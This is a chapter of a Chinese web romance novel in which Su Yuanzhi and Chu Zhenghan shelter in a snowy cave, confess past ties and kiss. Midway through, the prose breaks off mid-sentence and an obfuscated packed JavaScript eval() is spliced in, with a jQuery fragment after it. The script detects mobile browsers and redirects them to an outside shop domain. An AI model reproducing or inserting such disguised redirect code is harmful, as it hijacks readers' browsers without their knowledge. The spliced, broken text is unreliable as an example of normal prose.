文趣网 > 其他小说 > 始乱终弃男鬼徒弟后 > 32. 小兽
    山洞里寂静得针落可闻。

    二人靠得太近,呼吸无可避免交缠在一起。

    他的气息里有檀香味,混杂着些潮湿的味道,几乎让苏沅芷头晕目眩。

    ——楚铮寒认出了她方才刺马破阵的招式。

    这是她从未想过的展开。

    心跳因为露怯而加速,她不知该如何回应,犹豫间,甚至下意识拉开了与楚铮寒的距离。

    楚铮寒的眼神立刻冷了,伸手攀住她的背,将她摁了回来。

    动作间,他用鼻尖抵在她的颈窝,深吸了一口气,开始嗅闻她身上的味道。

    苏沅芷浑身一寒。

    她策马奔波而来,出了不少汗,再加上方才拖着楚铮寒进山洞时蹭到些泥灰,身上的味道,怎么样也不该是好闻的。

    可楚铮寒却食髓知味,顺着她的脖颈向上嗅闻着,从颈窝到下颌,再到耳垂。

    动作缓慢又温和,近乎让苏沅芷品出了些许眷恋之意。

    仿佛她是什么有迷人香气的花。

    鼻尖蹭在皮肤上的痒意让她半边身子都在发麻,方才感到的恶寒逐渐被另一种感觉所覆盖。

    好奇怪。

    这感觉实在怪异,从腰侧开始蔓延,所经之处都像被热池浸泡一样变得软而烫,它一路沿着脊柱攀至脑海,苏沅芷咬住唇,才没让自己闷哼出声。

    好奇怪。

    她不说话,他的唇就继续向上,故意擦过她耳侧,吐出来的话也变得滚烫无比:“师娘,回答我。”

    语气幽幽然,轻得如山洞里漂浮的灰尘。

    恍惚间,苏沅芷意识到楚铮寒处在失控的边缘。

    不能再沉默下去了。

    她不再抵抗,转而用手捧住了楚铮寒的脸,阻止他继续嗅闻的同时,强迫他看向了她。

    一双浑黑的眸子与一双泛红的杏眼对视。

    楚铮寒怔住了。

    “我说的都是实话,李家当年在战乱中救下我这个渔村孤女是真,李家二少为了给我一个身份将我纳做妾也是真。”

    刚开口时,苏沅芷发现自己声音有些颤抖,她很快调整回来,压平了语气。

    “当年李家大小姐李鳞真作为大将军与李家家主一同参与野原之战,我为了报答李家恩情,便也主动提出想上阵杀敌。”

    楚铮寒呼吸逐渐由重转轻,终于从方才的失控中回过神来,抬手覆在了苏沅芷的手背上:“所以,你在这之前就会武功了?”

    即便接近失控边缘,他依旧保持思考,很容易发现她话里的破绽。

    苏沅芷想收回手,楚铮寒却加了力道,强迫她一直捧着他的脸。

    她没了办法,维持着这个诡异的姿势,解释道:“我当年在渔村学了些浅显的功夫,但在战场上总归是不够用的,那天被敌军偷袭,我受了重伤,慌乱下与大部队分离。”

    “我记得当时浑身没有一处不在疼,血流了一路,敌军很容易就找到了我。我几近昏迷,以为自己就要交待在战场上的时候,是一位少年将军策马赶来,用刺马的招式破开人墙,救下了我。只是,再睁眼时我已经回到了军营,没人记得是谁救下了我,就连我自己也回忆不起来了。”

    听着听着,楚铮寒垂下了眸:“那天敌军袭击太突然,混战中,我碰巧瞥见一个士兵被敌军围了起来,恰好父亲那边势头正旺,不太需要我的援助,我便调头赶了过去。”

    说到最后,他噤声,偏过头,略带怜惜地吻住了苏沅芷的掌心:“还好我没有错过你。”

    沙哑的嗓音与近乎虔诚的吻让苏沅芷不自觉蜷起手指。

    他对她的依恋,比她想象中深太多了。

    可,这是好事么?

    他这样的人,愿意给十倍百倍的爱,就会在被抛弃后,报复回千倍万倍的恨。

    苏沅芷压下心底攀起的情绪,深吸一口气,叹道:“我没想到,当年救下我的人竟然是你。”

    此话一出,楚铮寒整个人明显一僵。

    他握住苏沅芷的手陡然加了不少力道,语气也变得发冷:“若不是我恰好认出来,你打算瞒我到什么时候?”

    他太敏锐,几乎瞬间就觉察出苏沅芷自己都未发觉的潜台词。

    ——若不是他认出来了,她本来没有打算坦白的。

    苏沅芷怔了怔,这份错拍很快被楚铮寒捕捉去,他握住苏沅芷的手,语气已然不善:“李家二少救了你,你忠于他也是正常。”

    此话一出,本来有些心虚的苏沅芷,也被带了几分火气出来。

    他没完没了地试探她的原因,竟然是觉得她要忠于李二之妾这个身份?

    她在他眼里,竟然是这种人?

    苏沅芷忽然笑了,讲出的话,也不自觉锋利:“我自然是忠于他的,不然崔平川那日在祠堂也不会骂我旧情未了了。”

    她知道楚铮寒在她抄经时窥视着她,也定然听到了崔平川骂她的这句话。

    果不其然,楚铮寒的脸色近乎在瞬间就变得惨白。

    他更加用力握住苏沅芷的手,近乎咬牙切齿:“既然你心有所属,那日在营帐里又何必吻我。”

    苏沅芷没说话,静静盯着楚铮寒。

    看他睫毛因为愤怒而颤抖,本就病弱的面容褪去最后一点血色,喉结也跟着呼吸上下滚动。

    几乎脆弱到一击击破。

    她感到有什么东西正在胸口翻滚着,肆意冲撞,缓缓漫到了喉头。

    似是被她的沉默彻底激怒,楚铮寒收了力道,直起身子,第一次主动拉开与苏沅芷的距离。

    “你方才也听到了,我是为了父亲才与你合作,即便没有你,我也会查出真相。所以,你不必为了案子蓄意接近我。”

    “苏沅芷,别这样下作。”

    他语气冷漠,说出来的话也足够狠。

    可苏沅芷不但没有被伤到,就连方才那星点的怒火也被这句话浇灭了。

    无论是爱还是恨,都是红尘之物,而他楚铮寒是佛龛里一座无喜无悲的雕塑,向来不染凡尘。

    如今,这样的雕塑,竟然用这样锋利又难听的话指责人。

    他早就沦陷了。

    苏沅芷没忍住,浅笑几声,在楚铮寒要再度发怒指责她时,她伸手,扶住他的脸,主动吻住了他苍白的唇。

    身侧的火堆灭了,只剩下微弱的月光透过狭窄的山洞口,吝啬地铺在二人脚下。

    楚铮寒只愣了一息,而后,立刻承住了这个吻。

    与上次营帐中那个浅尝辄止的吻全然不同,这一次,两个人都暗暗较着劲。

    苏沅芷轻轻张开了自己的嘴,主动让檀香味涌入自己的口腔。楚铮寒的舌尖也是滚烫的,似一头小兽莽撞地闯进来,肆意劫掠她的气息。

    她感受到楚铮寒的手攀上她的背,力道逐渐收紧,将她死死禁锢在了他的怀里。

    呼吸变成了奢侈,脑袋也变得昏沉。

    这一场战争,开战的是苏沅芷,攻城的却是楚铮寒。

    二人身体贴合,唇齿交融,滚烫鼻息之间,早已不分你我,只是同为猎手的本性让二人都不愿在这场拉锯战中服软。

    最终,是几近窒息的苏沅芷先败下阵来,用手抵在楚铮寒的胸口,拉开了距离,大口呼吸。

    到底是将军更擅长攻城略地。

    她不服输

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619961|204210||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地想。

    楚铮寒没有松开摁在她背上的手,只半阖着眼,静静盯着她。

    眼神幽深,似是在用眸光临摹她这一刻的慌乱。

    苏沅芷放在他胸口上的手故意使了些力,压得他闷哼一声,却依旧没有松开她。

    “你这样不放开我,算下作么?”

    “算。”

    ……

    话语里有几分自暴自弃。

    苏沅芷再也生不起气来,好笑道:“你们这些男子,总觉得女子只能忠于男人。”

    见他不说话,苏沅芷又抬头,主动吻住他颤抖的眼皮:

    “我不喜欢李二,李二也不喜欢我。”

    她一边说着,一边吻着楚铮寒。

    蜻蜓点水的吻落在他的眼角、鼻梁、鼻尖、唇角、下颌。

    “楚铮寒,我是为了李家,也更是为了李大小姐李鳞真,才想要查出真相的。”

    最后一个吻,落在他肩上的伤口处。

    “当年李家大火,是她将我护在身下,用她的命,换回了我的命。”

    “我不相信李家会贪污税银,也不相信她会畏罪放火,所以,我想为她翻案。”

    楚铮寒因极力地克制而颤抖起来,苏沅芷尝到些血腥味。

    她将双唇紧紧贴在那绷带上,声音有些闷:

    “相信我,岑寂。”

    岑寂二字一出,楚铮寒呼吸都停了。

    他愣了好一会儿,才终于张嘴吸气,找回了自己的呼吸。

    他凑过头来,似是想要吻她。

    可双唇即将再次贴合之时,他蹙起眉心,主动偏头,将那一吻堪堪落在她肩上。

    克制又温柔。

    苏沅芷心漏跳了一拍。

    一吻过后,肩头传来细细密密的刺痛。

    ——是楚铮寒用尖牙咬着她,像小兽失控的厮磨。

    待刺痛停止,她听到楚铮寒在耳旁喃喃道:“你若是再骗我……”

    后半句话,声音太轻,她没有听清。

    她攥紧双拳,克制住想要抱住他的冲动。

    这种时候,给予太多的回应,对二人来说,都太过残忍。

    于是苏沅芷只是深吸一口气,将脑袋轻轻靠在了楚铮寒的脑袋上。

    “我不骗你。”

    得到回应,他再次将她抱入怀里,贪恋地在她颈间汲取她的气息。

    她感受到楚铮寒的手攀上她的后颈,把她轻轻往下带。

    月光从洞口斜斜照进来,她看见月光流淌在洞顶之上,似一张白纱罩在面前。

    朦胧、飘忽,如梦似幻。

    她缓缓闭上了眼。

    明明还没决定此事结束后的去留,她却已经隐约意识到——若她最后抛弃楚铮寒,他一定会疯掉。

    可她有的选么?

    她与他,从一开始就是因为利用而认识对方。

    又怎么不可能因为利用而分别呢?

    思忖间,掐在腰上的手越收越紧,吻也变得愈发激进。

    雪是烫的,淋在她身上,蒸腾出心底最幽怨的痒。

    檀香味攀进鼻腔,汗毛跟着竖起,有什么东西从她不愿承认的地方涌了上来。

    她知道自己最终会选择抛弃楚铮寒。

    只是这抛弃的后果,似乎比她想象中,要大得太多太多。

    ……

    “雪大了。”

    恍惚与沉沦最终被楚铮寒的气音打断。

    她侧头望去,山洞外,月光下的雪将一切再度染成洁净的白。

    如此无声、寂灭、纯粹。

    似乎能淹没一切翻涌的、阴暗的、纠缠的黑。